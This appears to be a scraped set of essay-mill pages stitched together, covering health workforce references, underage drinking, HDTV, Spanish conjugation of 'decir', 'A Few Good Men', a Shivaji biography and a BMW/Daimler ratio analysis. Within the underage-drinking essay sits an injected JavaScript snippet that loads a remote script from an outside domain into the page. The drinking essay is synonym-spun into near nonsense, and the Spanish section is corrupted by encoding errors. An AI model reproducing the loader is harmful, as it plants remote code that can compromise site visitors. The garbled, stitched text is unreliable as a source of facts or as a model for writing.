8(4). Lizarondo, L., Kumar, S., Hyde, L., Skidmore, D. (2010). Allied health assistants and what they do: a systematic review of the literature. Journal of multidisciplinary healthcare, 3, 143. Mason, J. (2013). Review of Australian government health workforce programs. McGrath, P. D., Henderson, D., Tamargo, J., Holewa, H. A. (2011). All these allied health professionals and youre not really sure when you use them: insights from Australian international medical graduates on working with allied health. Australian Health Review, 35(4), 418-423. Moran, A. M., Nancarrow, S. A., Wiseman, L., Maher, K., Boyce, R. A., Borthwick, A. M., Murphy, K. (2012). Assisting role redesign: a qualitative evaluation of the implementation of a podiatry assistant role to a community health setting utilising a traineeship approach. Journal of foot and ankle research, 5(1), 30. Morris, J., Grimmer, K., Gilmore, L., Perera, C., Waddington, G., Kyle, G., ... Murphy, K. (2014). Principles to guide sustainable implementation of extended-scope-of-practice physiotherapy workforce redesign initiatives in Australia: stakeholder perspectives, barriers, supports, and incentives. Journal of multidisciplinary healthcare, 7, 249. Nancarrow, S. A. (2015). Six principles to enhance health workforce flexibility. Human resources for health, 13(1), 9. Nancarrow, S. A., Roots, A., Grace, S., Moran, A. M., Vanniekerk-Lyons, K. (2013). Implementing large-scale workforce change: learning from 55 pilot sites of allied health workforce redesign in Queensland, Australia. Human resources for health, 11(1), 66. Schoo, A. M. M., Stagnitti, K., Mercer-Grant, C., Dunbar, J. A. (2005). A conceptual model for recruitment and retention: allied health workforce enhancement in Western Victoria, Australia. Scott, I. A. (2009). Health care workforce crisis in Australia: too few or too disabled?. Medical Journal of Australia, 190(12), 689. Scott, S. D., Albrecht, L., OLeary, K., Ball, G. D., Hartling, L., Hofmeyer, A., ... Thompson, D. (2012). Systematic review of knowledge translation strategies in the allied health professions. Implementation Science, 7(1), 70. Segal, L., Bolton, T. (2009). Issues facing the future health care workforce: the importance of demand modelling. Australia and New Zealand Health Policy, 6(1), 12. Smith, T., Brown, L., Cooper, R. (2009). A multidisciplinary model of rural allied health clinical-academic practice: a case study. Journal of Allied Health, 38(4), 236-241. Wilson, A., Whitaker, N., Whitford, D. (2012). Rising to the challenge of health care reform with entrepreneurial and intrapreneurial nursing initiatives. Online Journal of Issues in Nursing, 17(2). Wood, A. J., Schuurs, S. B., Amsters, D. I. (2011). Evaluating new roles for the support workforce in community rehabilitation settings in Queensland. Australian Health Review, 35(1), 86-91. Yates, R., Wells, L., Carnell, K. (2007). General practice based multidisciplinary care teams in australia: still some unanswered questions. A discussion paper from the australian general practice network. Australian Journal of Primary Health, 13(2), 10-17.

Underage Drinking Essay Research Paper Underage DrinkingMany free essay sample

Underage Drinking Essay, Research Paper Underage Drinking Many teens face grownup jobs at a really immature age. Underage imbibing viewed in the eyes of parents and jurisprudence enforcement bureaus is a major job among adolescent. In today society, childs are being pressured into making things at a really immature stripling age. Problem many parents are confronting in their ain life are besides presenting as jobs on their childs. The reply teens today must do is no longer merely what shoes to have on or what matches what, but the must decided on drugs. Amongst those is alcohol, which is a pick most teens make even before they are teens. I have really talked to some people that were imbibing at the age of 11 and 12. Everybody I have met has at one clip rummy intoxicant before graduation. Police officers sit twenty-four hours and dark coming up with ways to snuff out this job, but no affair how much attempt they put Forth it will and has continued. We will write a custom essay sample on Underage Drinking Essay Research Paper Underage DrinkingMany or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page People all have different positions on the solution to this job, but before we get to their ideas and mine, I would wish to inquire you a inquiry. Would you as a parent or individual instead have childs imbibing at a house with chaperons where they will be remaining all dark or drive place rummy because you do non O.K. of it, and implement a curfew? / gt ; As a teenage I feel I know the most on the topic, but as I have found out my parents had to do the same determination during their life, even every bit hard as it is to believe they did. Solutions are like alibis they come in 100s. Peoples today blame everything on something else. Well I hate to be the one to indicate out the obvious, but parents are the biggest influence on a kid # 8217 ; s life. If you as a parent sit down and speak rationally to a child, he will listen. My solution is simple extinguish the imbibing age all together. I feel it is the parent # 8217 ; s duty to educate their childs on drugs like intoxicant, non the authoritiess. I have a friend who was a foreign exchage pupil from Switzerland, where there is no imbibing age, she looked at imbibing as a normal thing, but she besides said they don # 8217 ; Ts have this job over at that place as childs know they can ever acquire it the Don # 8217 ; t imbibe as frequently. I found that a small spot interesting, but I besides see the point. Out of all the childs I know that drink they do it for the merriment of it, the bang of making something illegal, and they do in surplus because they can merely im bibe one or two darks a hebdomad. On the other side all of the childs I know whose parents allowed them to imbibe at place found imbibing in extra stupid and deadening. This proved her point even further. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

what is HDTV essays

what is HDTV essays What is HDTV? HDTV, the first completely new TV standard since the introduction of the medium in the 40's, allows a picture with much finer visual detail and better color than the NTSC standards used with today's analog TV sets. Pictures can have 3 to 5 times the sharpness of today's broadcasts and no noise or snow. A good analogy is that you can see picture improvement like CD's improved over vinyl records! And speaking of sound, HDTV broadcasts also include CD quality surround sound based on the Dolby Digital (AC3) standard. HDTV sets use a wide screen more like those in movie theaters (16:9 width to height ratio compared to 4:3 today). These new sets may also be compatible with PC's so you may look forward to combination TV/PC applications. Should you put off buying a TV now and wait for the first HDTV sets to hit the market? Good question! We believe the set you buy today will serve you well for many years and that the HDTV experience will take a long time to develop in terms of affordability and programming choices. Aside from our ardent desire to sell TV's this year we think there are a number of facts which support this position: The FCC has mandated that standard TV signals continue to be broadcast through the year 2006 to insure a smooth transition to HDTV. This deadline may be moved back if consumers and/or the Congress protest having to throw away or upgrade their existing sets but it will certainly not be moved forward. The set you buy today will have signals to show for at least nine years! Manufacturer's plan to introduce add-on boxes to allow conventional TV sets to receive and show digital broadcasts. Of course you won't see broadcasts in a wide screen format and you may not see all of the resolution that MAY be broadcast, but you will be able to watch your set beyond 2006 and you can add the converter box at any time before that. Broadcasters outside of the top 30 markets are not mandated to begin ANY di ...

Decir Conjugation With Sample Sentences

Decir Conjugation With Sample Sentences The conjugation of decir, an everyday verb thats usually the equivalent of to say or to tell, is highly irregular, not following a readily predictable pattern. The only verbs that are conjugated in the pattern of decir are those derived from it, which include bendecir, contradecir, desdecir, interdecir, maldecir, and predecir. Fast Facts: Decir Conjugation Like most common verbs, decir is highly irregular, breaking the usual pattern in nearly all tenses other than the imperfect indicative.When stressed, the de- of the first syllable changes to di-, and in many cases the c of the stem changes to g or j.A handful of common verbs based on decir follow its conjugation pattern. Irregular forms are shown below in boldface. Translations are given as a guide and in real life vary with context. Infinitive of Decir decir (to say) Gerund of Decir diciendeo (saying) Participle of Decir dicho (said) Present Indicative of Decir digo, tà º dices, usted/à ©l/ella dice, nosotros/as decimos, vosotros/as decà ­s, ustedes/ellos/ellas dicen (I say, you say, he says, etc.) Preterite of Decir yo dije, tà ºÃ‚  dijiste, usted/à ©l/ella dijo, nosotros/as dijimos, vosotros/as dijisteis, ustedes/ellos/ellas dijeron (I said, you said, she said, etc.) Imperfect Indicative of Decir yo decà ­a, tà º decà ­as, usted/à ©l/ella decà ­a, nosotros/as decà ­amos, vosotros/as decà ­ais, ustedes/ellos/ellas decà ­an (I used to say, you used to say, he used to say, etc.) Future Indicative of Decir yo dirà ©, tà º dirs, usted/à ©l/ella dir, nosotros/as diremos, vosotros/as dirà ©is, ustedes/ellos/ellas dirn (I will say, you will say, he will say, etc.) Conditional of Decir yo dirà ­a, tà º dirà ­as, usted/à ©l/ella dirà ­a, nosotros/as dirà ­amos, vosotros/as dirà ­ais, ustedes/ellos/ellas dirà ­an (I would say, you would say, she would say, etc.) Present Subjunctive of Decir que yo diga, que tà º digas, que usted/à ©l/ella diga, que nosotros/as digamos, que vosotros/as digis, que ustedes/ellos/ellas digan (that I say, that you say, that she say, etc.) Imperfect Subjunctive of Decir que yo dijera (dijese), que tà º dijeras (dijeses), que usted/à ©l/ella dijera (dijese), que nosotros/as dijà ©ramos (dijà ©semos), que vosotros/as dijerais (dijeseis), que ustedes/ellos/ellas dijeran (dijesen) (that I said, that you said, that he said, etc.) Imperative of Decir di tà º, no digas tà º, diga usted, digamos nosotros/as, decid vosotros/as, no digis vosotros/as, digan ustedes (say, dont say, say, lets say, etc.) Compound Tenses of Decir Key Takeaways Like most common verbs, decir is highly irregular, breaking the usual pattern in nearly all tenses other than the imperfect indicative. When stressed, the de- of the first syllable changes to di-, and in many cases the c of the stem changes to g or j. A handful of common verbs based on decir follow its conjugation pattern.The perfect tenses are made by using the appropriate form of haber and the past participle, dicho. The progressive tenses use estar with the gerund, diciendo. Sample Sentences Showing Conjugation of Decir and Related Verbs No queremos decir que tenemos toda la verdad. (We dont want to say we have all the truth. Infinitive.) Os lo he dicho muchas veces. (I have told you it many times. Present perfect.) No entiendo lo que me estn diciendo. (I dont understand what theyre telling me. Present progressive.) Todos estaban diciendo que mi carrera habà ­a terminado. (Everybody was saying that my career was over. Imperfect progressive.) No obstante, predigo que en el futuro cercano vamos a ver muchos cambios en la industria. (Nevertheless, I predict that in the near future we will see many changes in the industry. Present indicative.) Una premisa de la ciencia ficcià ³n es si no contradice las leyes fà ­sicas, entonces es posible. (One premise of science fiction is if it doesnt contradict the laws of physics, then it is possible. Present indicative.)  ¿Le dijiste que todo era mentira? (Did you tell him it was all a lie? Preterite.) Mi doctora me dijo que tengo diabetes. (My doctor told me I have diabetes. Preterite.) Unos meses antes de mi nacimiento, mi madre predijo que yo serà ­a muy rica. (A few months before my birth, my mother predicted I would be very rich. Preterite) Creà ­a que me contradecà ­a por su manera de vivir. (I used to believe she was contradicting me by her lifestyle. Imperfect.) Te dirn lo que quieras escuchar. (Theyll tell you what you want to hear. Future.) Si era en su casa, yo decirà ­a que soy alà ©rgica para un ingrediente de la comida y no puedo comerla. (If I were at his home, I would say that Im allergic to an ingredient in the food and that I cant eat it. Conditional.) En el mundo en el cual vivimos, es inevitable que alguien nos maldiga. (In the world we live in, it is inevitable that someone will criticize us. Present subjunctive.) Niega que dijera que Cataluà ±a debe ser reconocida como nacià ³n. (She denies saying that Catalonia should be recognized as a country. Imperfect subjunctive.) Dice que es tu turno.  (Say its your turn. Imperative.)

The Movie A Few good men Paper Term Example | Topics and Well Written Essays - 1750 words

The Movie A Few good men - Term Paper Example Two marines—Private First Class Louden Downey and Lance Corporal Harold Dawson are court-martialed under the accusation of murdering Private First Class William Santiago, A fellow marine assigned in their unit at Guantanamo Bay Naval Base in Cuba. Their defense lawyers are Lieutenant Junior Grade Daniel Kaffee, an inexperienced US Navy Lawyer who is notorious for arranging plea bargains rather than pursuing trials in courts regardless for the mere practicality of it; and Lieutenant Commander Joanne Galloway who believed that her clients are innocents and would known no bounds in pursuing her case and to prove her clients’ innocence (Reiner, 1992). In the course of their investigation, Galloway and Kaffee uncovered the real culture that is happening within the Guantanamo Bay Naval Base particularly the â€Å"code red†. It turned out, PFC Santiago was not able to keep up with the ‘culture’ that is being enforce by Col Jessep in his Base thus resulting to poor performance and poor relations with his other peers. He was struggling to keep up and wanted to be assigned somewhere else and went above his superior, disregarding the chain of command, for a bargain— a transfer for exposing the possibility that Dawson could have illegally fired on the Cuban side of the island. This have irked Jessep and prompted him to order Dawson and Downey to carry a code red against Santiago. In the end, Kaffee was able to pop out the truth from Jessep and proved the innocence of the two accused soldiers. However, they were still dishonorably discharged from the Marine Corps for causing Santiago’s death (Reiner, 1992 ). Effective leadership is the art of influencing others. Influence is the â€Å"ability to persuade, convince, motivate, inspire, and judiciously use power to affect others†¦Ã¢â‚¬  it is the ability to influence in both the good and bad circumstances (Klann, 2003). From what Klann had emphasized, it is

Different essays Essay Example | Topics and Well Written Essays - 3000 words

Different essays - Essay Example stently met; and providing subtle but regular enhancement in the quality of an item or service, so that there are lesser and lesser flaws on delivery. The particulars of how each of these terms is interpreted are specific to the industry or business in question. Risk management, on the other hand, is the process of identifying, assessing and peritonising the risks to efficient functioning within a system. The essence of risk management is improvement in the value of the end result by being flexible yet systematic; transparent and inclusive of all factors and circumstances; integral to the analytical process, but able to provide solutions specific enough to the given problem. Possible the most important factor is that it should be able to evolve continuously to meet changing needs. While both processes – Quality management and Risk management are essential for ensuring smooth operations, and thus have a number of overlaps in their core principles; they ad differ on one significant account. Quality Management focuses on the end result and the extent to which error may be avoided in the deliverables; while risk management focuses on the extent to which already occurred errors may be rectified and repeat ion be avoided. Cianfrani, C.A., West, J. E. (2009).  Cracking the Case of ISO 9001:2008 for Service: A Simple Guide to Implementing Quality Management to Service Organizations (2nd Ed.). Milwaukee: American Society for Quality. pp.  5-7 Continuous quality improvement (CQI) is embedded in patient safety-the ability to learn from mistakes and take actions to prevent the mistakes from re-occurring. Identify and explain how principles of CQI reduce the risk of harmful medical injuries. Tindill and Stewart (1993) have defined CQI as â€Å"A comprehensive management philosophy that focuses on continuous improvement by applying scientific methods to gain knowledge and control over variation in work processes†. Baker (1997) gives the steps to using CQI. The first step

A Message to Garcia. story Review Essay Example for Free

A Message to Garcia. story Review Essay Through hostile territory Rowan traveled by foot, within three weeks he delivered the letter to Garcia. In this story it was clear that he couldn’t express the things Rowan did to deliver this message, it was something incredible and not anything to boast about freely. The point the tried to make was that Rowan was given a task in which he asked no questions, he just did as he was told. The writer gave his opinion of what this meant to him. He said men don’t need to be book smart nor have a lot of knowledge on this subject but rather some courage, loyalty and trust. These things with some concentration are what it means to â€Å"carry a message†. I believe he’s saying it takes a man with no fear or hesitation to get the job done. At this point in the story General Garcia is now dead. The writer states this isn’t where it stops, there are many other Garcias.. Meaning story’s like this one. He says no man will succeed by being foolish or only working half hearted, he believes you will get out of the situation what you put in to it and if you don’t have heart for what your trying to accomplish.. your not going to be successful. Elbert Hubbard the writer of this story puts another example in to perspective for the audience to think about. He talks about six clerks, he puts one to the test. He has asks the clerk to look in the encyclopedia and make a short memorandum explaining life of Corregio. He goes on to explain, the clerk most likely will not know what he is talking about and the clerk will end up asking all sorts of questions trying to get more information on this subject. When the clerk runs out of questions he will resort to another clerk and task him to help complete this mission, but all in the end the clerk will come back to him stating there is no such man named Corregio. The point the trys to make is that by asking the clerk to do this for him rather than do it himself is stupid. He says â€Å"if men will not act for themselves, what will they do when the benefit of their effort is for all? † Hes basically saying that a lazy man who has no independence and takes no responsibility in a situation is a selfish person. In this story Elbert Hubbard makes the point that a man doesn’t need to know how to spell or puncuate, or he may not have a good memory or grammar. A man may be great at one thing and horrible at another. It doesn’t matter those small things, what matters is if a man has the courage, responsibility, loyalty, pride and determination. A unique mindset of someone who could be given any random task and any given time and ask no questions. Without hesitation, completing the task with a full heart and a focused mindset†¦ this is what it means to â€Å"carry a message to Garcia† I like this story a lot because it relates to a lot of real life situations now. This story states a strong and bold message about morals and having self pride in what you do on a daily basis.

What it Means to be an Athlete :: Sports Swimming Teamwork Essays

What it Means to be an Athlete A group of high school girls who have all joined a crew team for various reasons. Some are athletes, some want scholarships, some are the right body types, some have never been athletes, some have friends on the team, and some are being made to by their parents. The team is small and no cut and always in need of more rowers. As they row they come together as a team, they all gain in confidence and learn what it is to be an athlete both on and off the water. The protagonists are a novice four, that means five girls who have never competed in crew before racing a boat with four rowers and a coxswain (cox for short). The coxswain is normally small, in High School women's rowing they try to get as close to 110 pounds as possible, who yells out commands, steers the boat, and encourages her rowers. She is the only one facing forward and is generally sitting in the back of the boat. The four rowers in a four face backwards. The stroke is the rower closest to the cox and faces her. Behind th e stroke are 3 and 2 and bow is in the front or bow. Although the novice four is not the entire team, the boats practice in shifts so they don't spend much time with the rest of the team. The five girls are all there for different reasons. The cox, Hannah, is actually the only one who had been involved in sports before, but she is the smallest, loudest, and most of a leader. Stroke is Amanda, who is tall and has the "ideal" build for crewing and decided to start in hopes of getting a scholarship when she goes to college. Lauren, the three seats, is being forced to participate in a sport by her mother and heard that you wouldn't have to run for crew. Diana, two seats, is Amanda's best friend, and decided to tag along, and Jessie who thought she'd join for kicks is bow. Once they are set into boats, they have their first water practice as a team. Their coach, Molly, grew up having to fight for the right to participate in a sport other than cheerleading or dance, and feels that the girls have to live up to her legacy. They should be proud and see themselves exclusively as athletes, especially when they don their uniforms.

Shivaji

Chhatrapati Shivaji Chatrapati Shivaji Maharaj was the founder of the Maratha Empire in western India. He is considered to be one of the greatest warriors of his time and even today, stories of his exploits are narrated as a part of the folklore. King Shivaji used the guerrilla tactics to capture a part of, the then, dominant Mughal empire. Read this biography to get more information on the warrior and his life history: Early Life Shivaji was born on 19th February 1630, to Sahaji and his wife, Jijabai, in the Shivneri Fort, situated almost 60 km to the north of Pune.He was named as Shiva, after the local Goddess Shivai, to whom his mother Jijabai had prayed for a son. After being defeated by the combined forces of the Mughals and Adil Shah, Sahaji was offered a jagir near the present-day Bangalore. However, he was allowed to keep his holdings in Pune. So, Sahaji left his son Shivaji to manage the Pune holdings, under the care of his mother Jijabai. With a small council of ministers, Shivaji began managing his estate. His ministers included Shamrao Nilkanth as Peshwa, Balkrishna Pant as Muzumdar, Raghunath Ballal as Sabnis and Sonopant as Dabir.At the same time, Kanhoji Jedhe and Baji Pasalkar were appointed to look after Shivaji's training. In the year 1644, Shivaji undertook full administrative responsibilities of his estate. Thus was started his career as an independent young prince of a small kingdom. His mother, Jijabai, was instrumental in instilling in Shivaji's mind a love for independence and distaste for external political domination. Career The first aggression in the life of Shivaji came at the age of sixteen, when he seized the Torna fort of Bijapur kingdom. By 1647, he had gained control over Kondana and Rajgad forts, with complete power of the Pune region.With time, Chhatrapati Shivaji Maharaj secured the forts in the Western Ghats as well as those along the Konkan coast. Shivaji also fought against the army of Adilshah at Purandhar. In November 1 659, he fought the battle of Pratapgarh and defeated Afzal Khan. Immediately after this success, King Shivaji occupied the area stretching upto the Panhala fort. The battle of Kolhapur took place in December 1659. In the battle, Shivaji crushed the army of Bijapuri general, Rustemjaman. In 1660, Siddi Johar's huge and daunting army attacked him at Panhala fort.Shivaji managed to escape from the fort. However, he soon launched an attack on Siddi Johar. The result was the surrender of Panhala and a truce between Shivaji and Adilshah. After the death of Adilshah, Aurangzeb attacked Golconda and Bijapur. Shivaji used guerilla-style tactics and captured more and more of the Bijapuri and Mughal territories. However, by 1663, he had lost most of his conquests to the Mughal army. In the next few years, Shivaji again started seizing forts belonging to both Mughals as well as those of Bijapur. Aurangzeb sent Jai Singh, his Hindu general, to capture Shivaji.Shivaji surrendered to Jai Singh at Purander in 1665 and agreed becoming a Mughal vassal. In 1666, he managed to escape form his house arrest in Agra and lay low for the next few years. However, in January 1670, Shivaji launched an attack on Mughal garrisons in Maharashtra. Within a period of six months, he won back most of his lost empire. The period of 1670 to 1674 was spent by Shivaji Maharaj in expanding his empire at the cost of the Mughals. In 1670, Shivaji launched an assault, under his General – Tanaji Malusare, to capture Kondana fort on the outskirts of Pune.The battle was won but he lost Tanaji. In the honor of Tanaji, the Kondana fort was renamed as Sinhagad. Shivaji was formally crowned as Chatrapati (meaning the Chief, Head or King of Kshatriyas) in June 1674 at the Raigad fort. He was given the title of Kshatriya Kulavantas Simhasanadheeshwar Chhatrapati Shivaji Maharaj. The end of 1676 saw Shivaji commencing attacks in the southern parts of India. Death and Succession Shivaji breathed his last o n 3rd April 1680 in the Raigad fort, the capital for Maratha Empire. He was succeeded by his elder son, Sambhaji.

Financial Ratio Analysis: Daimler Group and Bmw Group Essay

Abstract In this report, we calculate and compare the financial performance between Daimler Group and BMW Group in two financial years 2010-2011. The objective is to analyse the financial performance of both groups and identify our company’s position, thus suggesting the potential areas for improvement for our company. I) Introduction In this report, we analyse and compare the financial performance between BMW Group and Daimler Group in 2010 and 2011 using financial ratios analysis. The BMW Group and Daimler Group are two of Germany’s largest industrial companies and are among the most successful car and motorcycle manufacturers in the world. By doing comparisons, we will be able to identify the financial position and the potential areas of improvement for our firm. All the figures were taken from the firms’ annual reports. II) Financial Ratio Analysis Financial ratios for BMW Group and Daimler Group are provided below. 1) Profitability The ROCE ratio measures how well the business has used the capital invested to generate profits while the ROE indicates the business’s ability to generate profits using shareholders’ funds. The GPM indicates how much a company earns taking into consideration the cost of sales. The NPM shows the amount of each sales dollar left over after all expenses have been paid. Both groups have achieved significant increase in revenues in 2011 leading to improvements in all profitability ratios comparing to 2010. Both firms have been more efficient in using its resources to generate returns, where both ROCE and ROE ratios have showed significant increases in 2011. It is also worth noticing that despite having higher GPM for both years, Daimler’s NPM figures were lower than that of BMW, indicating that Daimler has higher operating expenses than BMW. Overall, BMW has performed better than Daimler in terms of profitability. 2) Efficiency Efficiency ratios are typically used to analyse how well a company uses its assets and liabilities internally. The sales revenue to capital employed ratio indicates how well the organization used the capital invested in the business to generate revenue for the company as whole. Both companies have experienced an increase in the revenues over the past two years but both companies haven’t experienced an increase in the asset turnover ratio. It has increased with BMW probably as a result of the reduction in the non-current liabilities. The opposite has occurred with Daimler Group most likely as a result of the massive increase in the non-current liabilities. This ratio can be further explained using the sales revenue to non-current assets and sales revenue to working capital ratio. The sales revenue to non-current assets ratio measures how well the managers invested the non-current assets of the company to generate revenue for the growth of the business. This ratio has most definitely been affected by the investment in new non-current assets by both groups but Daimler has managed to use these assets to generate more revenue than BMW but still has used its new non-current assets efficiently to generate a sales revenue which would in turn lead to a ratio higher than the previous year’s ratio figure. The sales revenue to working capital explains how well the company is using its working capital to generate sales revenue. It is one of the best ways to watch the changes in cash overtime, this is important because the company needs cash to operate. Daimler has experienced a significant decrease in this ratio and BMW, the opposite occurred. This could be as result of fluctuations in the current assets and liabilities of both companies. The inventory turnover period ratio measures the length of time stock is held within the business. Both companies are now holding stock for longer than they did in 2010. It takes Daimler 77 days to sell its products while it takes BMW 65days. Both results are quite high but BMW has an advantage. This means that BMW has fewer inventories in store than Daimler at the end of the year, which means lower holding costs for BMW. The trade receivables period ratio calculates how long it takes the company to collect payments from its customers. A business will naturally be concerned with the amount of funds tied up in trade receivables and try to keep this at a minimum as it can have a significant impact on the cash flow of the business. This has not changed much for both companies over the past two years but has increased slightly for BMW in 2011. Daimler has more funds tied up in trade receivables. The trade payables period indicates how long it takes the company to pay its suppliers. Most companies would prefer this to be as long as possible but this can be taken to far and result in the loss of goodwill of suppliers. Both groups have managed to increase the period it takes them to pay their creditors. Both companies take a longer period to pay their suppliers than it takes for their debtors to pay what they owe. This shows a good cash flow movement for both companies. The operating cycle is expressed as an indicator of management efficiency. It has three components of inventory turnover period, trade receivables period and trade payables period. These come together to form the complete measurement of operating cycle days. This hasn’t changed for Daimler over the past two years and has increased slightly for BMW. It takes BMW a shorter period to generate revenue from its purchase of inventory than it takes Daimler. 3) Liquidity Liquidity ratios attempt to measure a company’s ability to pay off its short-term debt obligations. In general, the greater the coverage of liquid assets to short-term liabilities the better it is, because it gives a clear signal to whether a company can pay its debts that are due in the near future and still be able to fund its ongoing operations. The current ratio measures a company’s ability to pay back its short-term debts in short notice. The acid test ratio is similar to the current ratio except does not include inventory and prepaid expenses as assets but only those that can be turned into cash easily. Therefore, it measures the firm’s ability to pay its current obligations immediately. Comparing the two companies, those figures are quite similar. As for manufacturing companies like Daimler and BMW, current ratio of/more than 1 is desirable. Both companies did manage well to achieve the target figures in both years. Changes in the ratios between two years are not significant, but it is worth pointing out that Mercedes showed a small improvement in liquidity (from 1.07 to 1.22), whereas BMW got a minor decline (from 1.08 to 1.04). Although the acid test ratios falls below 1 in both years for both firms, thus both firms are unable to pay back its short term debts immediately, it does not necessarily mean that it will go bankrupt – as there are many ways to access financing – but it is definitely not a good sign. In general, Daimler’s current and quick ratios showed a slightly better liquidity position, comparing to BMW’s. In fact, liquidity ratios are remarkably affected by the company’s working capital management. That is why we should examine some working capital figures to fully analyze two companies’ liquidity circumstances. The Cash Conversion Cycle (CCC) is similar to the Operating Cycle. While the parts are the same – receivables, inventory and payables – in the CCC, they are analysed from the perspective of how well the company manages its cash, as opposed to their impact on operational capital assets. The CCC measures the number of days a company’s cash is tied up in the production and sales process of its operations and the benefit it gets from payment terms from its creditors. The shorter this cycle, the more liquid the company’s working capital position is. In general, both firms have taken longer to shift their stocks, receive payments and pay out their creditors in 2011 comparing to 2010. This trend could mean the demand for the firms’ products has been decreasing. Moreover, BMW performed better than Daimler with all of its figures being noticeably lower in both years. Therefore, the CCC of BMW is considerably lower than that of Daimler. Apparently, we can see that both companies had reasonable figures and good working capital management. Yet, overall, BMW seemed to have performed better than Daimler, as the processes were faster. 4) Solvency Gearing measures the proportion of a company’s finance which is provided from external sources. In theory, the higher level of gearing, the riskier the business, since interest and repayment of debts must be paid regardless of the situations. However, gearing can be a financially sound part of a business’s capital structure, especially if the business has strong, predictable cash flows. Both companies have had a consistent gearing ratio of about 65% (for BMW) and about 55% (for Damlier Group) over the course of 2 years (2010 and 2011) which states that the companies are highly geared. Debt Equity Ratio is the ratio of the debt that a company has to the its shareholders’ equity. A higher the percentage means that a company is using more leverage and has a weaker equity position. Optimally the debt equity ratio of a company should be 1. For most companies, the ratio is usually between 1.5-2. The debt equity ratio of BMW shows a slight fall this year and a slight increase in the case of Daimler Group. BMW’s gearing ratio and debt to equity ratio indicate that BMW is more leveraged than Daimler. Interest cover ratio is used to determine how easily a company can pay interest on outstanding debt. There has been a good amount of increase in this ratio in BMW as well as in Daimler Group as it can be seen above. It can be said that the profit of BMW was 8.5 times and 6.94 times (for Daimler) greater than the amount of interest that it incurred on its respective outstanding debts. A higher interest cover ratio indicates that the business is easily able to meet its interest obligations. Usually any interest coverage ratio higher than 1.6 is considered safe which leaves us to the conclusion that BMW and Daimler Group both are safe companies in matters of Interest payable on outstanding debt. III) Conclusion The 2011 financial year was an excellent one for the Daimler where sales volume, revenue and earnings figures all significantly improved. Daimler Group should control its operating costs and continue to invest in R&D to maintain and improve its profitability levels. It could also further improve its efficiency by better managing the Operating Cycle. In this paper, we have illustrated relationships between different aspects of the firms’ operations and provided relative measures of the firms’ conditions and performance. By comparing two similar firms in the same industry in two years, we have found that BMW has performed slightly better than our firm (Daimler) despite being more leveraged. However, the financial ratios are pure mathematics and do not take into account other aspects of the business, therefore, users should approach them with caution.